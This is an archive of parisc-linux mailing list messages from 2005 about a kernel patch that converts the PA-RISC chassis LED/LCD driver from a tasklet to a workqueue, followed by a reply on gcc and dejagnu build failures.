> 1) don't update LED/LCD state again until the previous update has
> completed. ie all the register writes have been sent.

Yep, we don't do that.

> 2) we shouldn't touch Heartbeat register for LCD unless heartbeat needs to
> be updated.

It already does that too.

> I'm still really not clear why there is "flutter".  THe only reasonable
> case I can think of is flutter is an artifact of the CPU busy doing "real"
> work and not servicing the LED/LCD wq. i.e. the stress test to excercise
> networking/disk activity is causing the CPU to work on lots of other tasks
> and it's taking more than a few jiffies to get back to the LED/LCD wq.

Yeah, it's a little mysterious. What I think is happening is that when we a=
sk=20
to msleep between the writes, because we're not busy-waiting, we might be p=
ut=20
to sleep for far longer than we asked for.  Ditto again, for when we ask to=
=20
be requeued - we ask to run every 10mS but we might end up waiting for far=
=20
longer than that.  That's about the best explanation I've come up with so=20
far.  By ensuring that we do not update the io/net symbols more often than=
=20
necessary, we can save ourselves some of these sleeps, so giving the kernel=
=20
less opportunity to put us to sleep!

> > Having spent the evening trying that, I've found that the 100mS minimum
> > 'flutter stop' interval patch gives the most consistent heartbeat of the
> > ideas that I've tried. The solution I suggested above causes the
> > heartbeat to become uneven when LAN/DISK IO is present still.
>
> Yeah, 100ms is well within someone noticing that LED/LCD activity isn't
> sync'd with LEDs on NIC or Disk. But I'm ok with that. If they got the re=
al
> LED, the display panel can be ignored.

Very true.

> > If the 100mS minimum LED illumination bothers people who have 'real' LE=
Ds
> > as opposed to LCD indicators, we can make it LCD only, of course.
>
> Sure. throw another patch out there! You can enumerate them...this is #3 =
or
> #4...

Attached! The only real change now is that the minimum on-time is now LCD=20
only, so hopefully this gets us the best of both worlds. LED people won't=20
notice anything different, and the LCD should now be nicely responsive.

Cheers,

David

> thanks,
> grant

=2D-=20
=2D----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GCS d- s-: a-- C++ UL++++ P L+++ E--- W++ N+ o+ K- w---
O M V- PS+ PE+ Y+ PGP t 5- X+ R- tv+ b+ DI++ D+
G+ e++ h--- r++ y++
=2D-----END GEEK CODE BLOCK------

--Boundary-01=_ixXRC6Q9HbROECu
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="lcd_patch4"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="lcd_patch4"

diff -urpN linux-2.6.12-rc1-pa2/arch/parisc/kernel/time.c patched/arch/pari=
sc/kernel/time.c
=2D-- linux-2.6.12-rc1-pa2/arch/parisc/kernel/time.c	2004-10-21 19:58:24.00=
0000000 +0100
+++ patched/arch/parisc/kernel/time.c	2005-03-26 14:30:39.000000000 +0000
@@ -89,14 +89,6 @@ irqreturn_t timer_interrupt(int irq, voi
 		}
 	}
    =20
=2D#ifdef CONFIG_CHASSIS_LCD_LED
=2D	/* Only schedule the led tasklet on cpu 0, and only if it
=2D	 * is enabled.
=2D	 */
=2D	if (cpu =3D=3D 0 && !atomic_read(&led_tasklet.count))
=2D		tasklet_schedule(&led_tasklet);
=2D#endif
=2D
 	/* check soft power switch status */
 	if (cpu =3D=3D 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
diff -urpN linux-2.6.12-rc1-pa2/drivers/parisc/led.c patched/drivers/parisc=
/led.c
=2D-- linux-2.6.12-rc1-pa2/drivers/parisc/led.c	2005-03-18 13:17:10.0000000=
00 +0000
+++ patched/drivers/parisc/led.c	2005-03-26 14:42:35.000000000 +0000
@@ -18,6 +18,9 @@
  * Changes:
  *      - Audit copy_from_user in led_proc_write.
  *                                Daniele Bellucci <bellucda@tiscali.it>
+ *	- Switch from using a tasklet to a work queue, so the led_LCD_driver
+ *	  	can sleep.
+ *	  			  David Pye <dmp@davidmpye.dyndns.org>
  */
=20
 #include <linux/config.h>
@@ -37,6 +40,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,9 +50,9 @@
 #include <asm/uaccess.h>
=20
 /* The control of the LEDs and LCDs on PARISC-machines have to be done=20
=2D   completely in software. The necessary calculations are done in a task=
let
=2D   which is scheduled at every timer interrupt and since the calculation=
s=20
=2D   may consume relatively much CPU-time some of the calculations can be=
=20
+   completely in software. The necessary calculations are done in a work q=
ueue
+   task which is scheduled regularly, and since the calculations may consu=
me a=20
+   relatively large amount of CPU time, some of the calculations can be=20
    turned off with the following variables (controlled via procfs) */
=20
 static int led_type =3D -1;
@@ -58,13 +62,16 @@ static int led_lanrxtx =3D 1;
 static char lcd_text[32];
 static char lcd_text_default[32];
=20
+static struct workqueue_struct *led_wq;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x)
 #endif
=20
=2D
 struct lcd_block {
 	unsigned char command;	/* stores the command byte      */
 	unsigned char on;	/* value for turning LED on     */
@@ -115,12 +122,24 @@ lcd_info __attribute__((aligned(8))) =3D
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	=20
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
=20
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+
+/* The workqueue must be created at init-time */
+static int start_task(void)=20
+{=09
+	/* Create the work queue and queue the LED task */
+	led_wq =3D create_singlethread_workqueue("led_wq");=09
+	queue_work(led_wq, &led_task);
+
+	return 0;
+}
+
+device_initcall(start_task);
=20
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
=20
=2D#define LED_HASLCD 1
=2D#define LED_NOLCD  0
 #ifdef CONFIG_PROC_FS
 static int led_proc_read(char *page, char **start, off_t off, int count,=20
 	int *eof, void *data)
@@ -285,53 +304,37 @@ static void led_LASI_driver(unsigned cha
 /*
    **=20
    ** led_LCD_driver()
=2D   **=20
=2D   ** The logic of the LCD driver is, that we write at every scheduled c=
all
=2D   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
=2D   ** That way we don't need to let this tasklet busywait for min_cmd_de=
lay
=2D   ** milliseconds.
=2D   **
=2D   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **  =20
  */
 static void led_LCD_driver(unsigned char leds)
 {
=2D	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
=2D	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
=2D	struct lcd_block *block_ptr;
=2D	int value;
=2D
=2D	switch (last_index) {
=2D	    case 0:	block_ptr =3D &lcd_info.heartbeat;
=2D			value =3D leds & LED_HEARTBEAT;
=2D			break;
=2D	    case 1:	block_ptr =3D &lcd_info.disk_io;
=2D			value =3D leds & LED_DISK_IO;
=2D			break;				=09
=2D	    case 2:	block_ptr =3D &lcd_info.lan_rcv;
=2D			value =3D leds & LED_LAN_RCV;
=2D			break;				=09
=2D	    case 3:	block_ptr =3D &lcd_info.lan_tx;
=2D			value =3D leds & LED_LAN_TX;
=2D			break;
=2D	    default:	/* should never happen: */
=2D			return;
=2D	}
+	static int lastleds, i;
+	static unsigned char mask[4] =3D { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+=09
+	static struct lcd_block * blockp[4] =3D {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
=20
=2D	if (last_was_cmd) {
=2D	    /* write the value to the LCD data port */
=2D    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_RE=
G );
=2D	} else {
=2D	    /* write the command-byte to the LCD command register */
=2D    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
=2D	}   =20
=2D=09
=2D	/* now update the vars for the next interrupt iteration */=20
=2D	if (++last_was_cmd =3D=3D 2) { /* switch between cmd & data */
=2D	    last_was_cmd =3D 0;
=2D	    if (++last_index =3D=3D 4)=20
=2D		last_index =3D 0;	 /* switch back to heartbeat index */
+	/* Convert min_cmd_delay to milliseconds */
+	unsigned int msec_cmd_delay =3D 1 + (lcd_info.min_cmd_delay / 1000);
+=09
+	for (i=3D0; i<4; ++i)=20
+	{
+		if ((leds & mask[i]) !=3D (lastleds & mask[i]))=20
+		{
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+			msleep(msec_cmd_delay);
+		=09
+			gsc_writeb( leds & mask[i] ? blockp[i]->on :=20
+					blockp[i]->off, LCD_DATA_REG );
+			msleep(msec_cmd_delay);
+		}
 	}
+	lastleds =3D leds;
 }
=20
=20
@@ -355,7 +358,7 @@ static __inline__ int led_get_net_activi
=20
 	rx_total =3D tx_total =3D 0;
 =09
=2D	/* we are running as tasklet, so locking dev_base=20
+	/* we are running as a workqueue task, so locking dev_base=20
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev =3D dev_base; dev; dev =3D dev->next) {
@@ -417,10 +420,9 @@ static __inline__ int led_get_diskio_act
=20
=20
 /*
=2D   ** led_tasklet_func()
+   ** led_work_func()
    **=20
=2D   ** is scheduled at every timer interrupt from time.c and
=2D   ** updates the chassis LCD/LED=20
+   ** is scheduled every 5 milliseconds and updates the chassis LCD/LED=20
=20
     TODO:
     - display load average (older machines like 715/64 have 4 "free" LED's=
 for that)
@@ -431,66 +433,106 @@ static __inline__ int led_get_diskio_act
 #define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_L=
EN)
=20
=2D#define NORMALIZED_COUNT(count) (count/(HZ/100))
+#define LCD_LED_MINIMUM_ON_TIME (HZ*10/100)
=20
=2Dstatic void led_tasklet_func(unsigned long unused)
+#define LED_UPDATE_INTERVAL (1 + (HZ*4/1000))
+
+static void led_work_func (void *unused)
 {
 	static unsigned char lastleds;
=2D	unsigned char currentleds; /* stores current value of the LEDs */
=2D	static unsigned long count; /* static incremented value, not wrapped */
 	static unsigned long count_HZ; /* counter in range 0..HZ */
=20
+	static unsigned long diskio_on_jiffies;
+	static unsigned long lantx_on_jiffies;
+	static unsigned long lanrcv_on_jiffies;
+
+	unsigned char currentleds =3D 0; /* stores current value of the LEDs */
+=09
 	/* exit if not initialized */
 	if (!led_func_ptr)
 	    return;
=20
=2D	/* increment the local counters */
=2D	++count;
=2D	if (++count_HZ =3D=3D HZ)
+	/* increment the local counter */
+	count_HZ +=3D LED_UPDATE_INTERVAL;
+	if (count_HZ >=3D HZ)
 	    count_HZ =3D 0;
=20
=2D	currentleds =3D lastleds;
=2D
 	if (led_heartbeat)
 	{
 		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
 		if (count_HZ<HEARTBEAT_LEN ||=20
 		    (count_HZ>=3DHEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RAN=
GE_END))=20
 		    currentleds |=3D LED_HEARTBEAT;
=2D		else
=2D		    currentleds &=3D ~LED_HEARTBEAT;
 	}
=20
=2D	/* look for network activity and flash LEDs respectively */
=2D	if (led_lanrxtx && ((NORMALIZED_COUNT(count)+(8/2)) & 7) =3D=3D 0)
+	/* look for network activity and flash LEDs accordingly */
+	if (led_lanrxtx)
 	{
=2D		currentleds &=3D ~(LED_LAN_RCV | LED_LAN_TX);
=2D		currentleds |=3D led_get_net_activity();
+		unsigned char new_lan_leds =3D led_get_net_activity();
+		/* For LCD based systems, enforce a 'minimum on time' to prevent flutter=
ing. */
+		if (led_type =3D=3D LED_HASLCD) {
+			/* TX LED */
+			if (new_lan_leds & LED_LAN_TX)=20
+			{
+				currentleds |=3D LED_LAN_TX;
+				lantx_on_jiffies =3D jiffies;
+			}
+			else if (lastleds & LED_LAN_TX && time_before(jiffies, lantx_on_jiffies=
 + LCD_LED_MINIMUM_ON_TIME))
+			{
+				currentleds |=3D LED_LAN_TX;
+			}
+		=09
+			/* RCV LED */
+
+			if (new_lan_leds & LED_LAN_RCV)=20
+			{
+				currentleds |=3D LED_LAN_RCV;
+				lanrcv_on_jiffies =3D jiffies;
+			}
+			else if (lastleds & LED_LAN_RCV && time_before(jiffies, lanrcv_on_jiffi=
es + LCD_LED_MINIMUM_ON_TIME))=20
+			{
+				currentleds |=3D LED_LAN_RCV;
+			}
+		}
+		else currentleds |=3D new_lan_leds;
 	}
=20
=2D	/* avoid to calculate diskio-stats at same irq  as netio-stats */
=2D	if (led_diskio && (NORMALIZED_COUNT(count) & 7) =3D=3D 0)
+	/* Calculate disk IO */
+	if (led_diskio)
 	{
=2D		currentleds &=3D ~LED_DISK_IO;
=2D		currentleds |=3D led_get_diskio_activity();
+		unsigned char new_io_led =3D led_get_diskio_activity();
+		/* For LCD based systems, enforce a 'minimum on time' to prevent flutter=
ing. */
+		if (led_type =3D=3D LED_HASLCD) {
+			if (new_io_led & LED_DISK_IO)=20
+			{
+				currentleds |=3D LED_DISK_IO;
+					diskio_on_jiffies =3D jiffies;
+			}
+			else if (lastleds & LED_DISK_IO && time_before(jiffies, diskio_on_jiffi=
es + LCD_LED_MINIMUM_ON_TIME))=20
+			{
+				currentleds |=3D LED_DISK_IO;
+			}
+		}
+		else currentleds |=3D new_io_led;
 	}
=20
 	/* blink all LEDs twice a second if we got an Oops (HPMC) */
=2D	if (oops_in_progress) {
+	if (oops_in_progress)=20
+	{
 		currentleds =3D (count_HZ<=3D(HZ/2)) ? 0 : 0xff;
 	}
 =09
=2D	/* update the LCD/LEDs */
=2D	if (currentleds !=3D lastleds) {
=2D	    led_func_ptr(currentleds);
=2D	    lastleds =3D currentleds;
+	/* Update the LCD/LEDs if they've changed */
+	if (currentleds !=3D lastleds)
+	{
+		led_func_ptr(currentleds);
+		lastleds =3D currentleds;
 	}
+=09
+	/* Requeue ourself to run in 5 jiffies */=09
+	queue_delayed_work(led_wq, &led_task, LED_UPDATE_INTERVAL);
 }
=20
=2D/* main led tasklet struct (scheduled from time.c) */
=2DDECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
=2D
=2D
 /*
    ** led_halt()
    **=20
@@ -519,9 +561,13 @@ static int led_halt(struct notifier_bloc
 	default:		return NOTIFY_DONE;
 	}
 =09
=2D	/* completely stop the LED/LCD tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* Cancel the work item and delete the queue */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+		destroy_workqueue(led_wq);
+	}
+=20
 	if (lcd_info.model =3D=3D DISPLAY_MODEL_LCD)
 		lcd_print(txt);
 	else
@@ -586,9 +632,6 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
=2D	/* start the led tasklet for the first time */
=2D	tasklet_enable(&led_tasklet);
=2D=09
 	return 0;
 }
=20
@@ -623,7 +666,7 @@ void __init register_led_regions(void)
    ** lcd_print()
    **=20
    ** Displays the given string on the LCD-Display of newer machines.
=2D   ** lcd_print() disables the timer-based led tasklet during its=20
+   ** lcd_print() disables the timer-based led work task during its=20
    ** execution and enables it afterwards again.
    **
  */
@@ -634,12 +677,14 @@ int lcd_print( char *str )
 	if (!led_func_ptr || lcd_info.model !=3D DISPLAY_MODEL_LCD)
 	    return 0;
 =09
=2D	/* temporarily disable the led tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* temporarily disable the led work task */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+	}
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
=2D=09
+
 	/* Set LCD Cursor to 1st character */
 	gsc_writeb(lcd_info.reset_cmd1, LCD_CMD_REG);
 	udelay(lcd_info.min_cmd_delay);
@@ -653,8 +698,10 @@ int lcd_print( char *str )
 	    udelay(lcd_info.min_cmd_delay);
 	}
 =09
=2D	/* re-enable the led tasklet */
=2D	tasklet_enable(&led_tasklet);
+	/* re-queue the work */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
=20
 	return lcd_info.lcd_width;
 }
diff -urpN linux-2.6.12-rc1-pa2/include/asm-parisc/led.h patched/include/as=
m-parisc/led.h
=2D-- linux-2.6.12-rc1-pa2/include/asm-parisc/led.h	2004-12-30 08:07:48.000=
000000 +0000
+++ patched/include/asm-parisc/led.h	2005-03-26 14:30:39.000000000 +0000
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20

--Boundary-01=_ixXRC6Q9HbROECu--

--nextPart2274873.1cVMcrt4Vo
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRXxjOIrGtzS07WgRAlw2AJ4/t6mMUm4mPmrJOOTrsuT2c7uSOwCgsqQ8
Z2R8auSBaP8z26MZEeQNQug=
=pLUb
-----END PGP SIGNATURE-----

--nextPart2274873.1cVMcrt4Vo--

--===============1161987071==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1161987071==--



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sat, 26 Mar 2005 09:33:56 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1111851236.5711.17.camel@mulgrave>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503252150.28207.dmp@davidmpye.dyndns.org>
	<20050326071349.GB28972@colo.lackof.org>
	<200503261514.43287.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623718 13498 80.91.229.3 (22 Nov 2014 02:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: dmp@davidmpye.dyndns.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 15:34:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 26 Mar 2005 16:34:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21CD87D678;
	Sat, 26 Mar 2005 08:35:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10727-05; Sat, 26 Mar 2005 08:35:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1900A7D66C;
	Sat, 26 Mar 2005 08:35:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37CF37D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10727-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:35:34 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 7EB3E7D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:35:34 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j2QFXvA02384; Sat, 26 Mar 2005 10:33:57 -0500
In-Reply-To: <200503261514.43287.dmp@davidmpye.dyndns.org>
X-Mailer: Evolution 2.0.4 (2.0.4-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: peU3YghdeSE5+76WZHQhaXN2IGRvb0CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22503

On Sat, 2005-03-26 at 15:14 +0000, David Pye wrote:
> > I'm still really not clear why there is "flutter".  THe only reasonable
> > case I can think of is flutter is an artifact of the CPU busy doing "real"
> > work and not servicing the LED/LCD wq. i.e. the stress test to excercise
> > networking/disk activity is causing the CPU to work on lots of other tasks
> > and it's taking more than a few jiffies to get back to the LED/LCD wq.
> 
> Yeah, it's a little mysterious. What I think is happening is that when we ask 
> to msleep between the writes, because we're not busy-waiting, we might be put 
> to sleep for far longer than we asked for.  Ditto again, for when we ask to 
> be requeued - we ask to run every 10mS but we might end up waiting for far 
> longer than that.  That's about the best explanation I've come up with so 
> far.  By ensuring that we do not update the io/net symbols more often than 
> necessary, we can save ourselves some of these sleeps, so giving the kernel 
> less opportunity to put us to sleep!

This is a natural consequence of converting from a tasklet to a
workqueue.  workqueues and msleep are controlled by the scheduler.  The
guarantee is not that the task will be awoken at the specified interval,
but that the task will be marked ready to run at the specified interval.
When it actually runs is within the gift of the scheduler and depends
entirely on how many other runnable tasks there are and what priorities
they have.

If you want absolute control of the timings then you have to use a
tasklet or timer (as per the original implementation)

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 26 Mar 2005 10:48:06 -0500 (EST)
Lines: 115
Approved: news@gmane.org
Message-ID: <200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
References: <16965.9081.148972.856329@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623718 13503 80.91.229.3 (22 Nov 2014 02:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:18 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 15:48:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 26 Mar 2005 16:48:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A245E7D680;
	Sat, 26 Mar 2005 08:49:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10800-08; Sat, 26 Mar 2005 08:49:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 799697D678;
	Sat, 26 Mar 2005 08:49:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4EB97D671
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:49:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10727-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:49:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 342F37D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:49:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2QFm7hF005851; Sat, 26 Mar 2005 10:48:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2QFm7eL005849;
	Sat, 26 Mar 2005 10:48:07 -0500 (EST)
In-Reply-To: <16965.9081.148972.856329@gargle.gargle.HOWL> from "Matthias
	Klose" at Mar 26, 2005 09:55:21 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HeE3YstFeSE5+76WZHQhaXN2IGRvb4Du
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22504

>   it's not that recent (I can't upload this one every week without the
>   risk beeing killed by buildd admins for slower architectures ;)
> 
> - You can get gcc-4.0 packages from experimental, just add
>   deb http://http.us.debian.org/debian experimental main contrib
>   to /etc/apt/sources.list.
>   Provided that somebody is building and uploading these ...
> 
> Besides the recent gcc-snapshot build failure, I'm having problems
> building the packages at all at the moment, there's no difference
> using between sarge and unstable.

I've had this problem from time to time, particularly on server
machines.  My c3k is solid and this doesn't happen.  For some reason,
the libjava build is most prone to the segfaults in sh/bash and
sometimes make.  Grant's recent builds on gsyprf11 seem to have
changed the nature of the faults.  Now, the kernel panics instead
of a segfault in sh.  Grant would know more as to what's causing
these crashes.

> - if the build succeeds, every test case in the testsuite fails, due
>   to expect(?) problems. lamont told me that's reproducible on another
>   A500, seeing some messages on the serial console, but I can't see
>   these messages. I'm currently running the A500 kernels from the
>   parisc archives. palinux-a500-defconfig-2.6.{8.1-pa11,11-pa2,12-rc1-pa1}
>   all show the same behaviour.

I think that there are issues with expect, tcl and dejagnu.

1) Dejagnu asks expect to trap SEGFAULTS.  This is undefined and results
   in the fault insn being executed repeatively.  It's a simple one line
   fix to remove this:

--- runtest.exp.orig    2004-08-25 16:10:38.000000000 -0400
+++ runtest.exp 2004-08-25 16:11:13.000000000 -0400
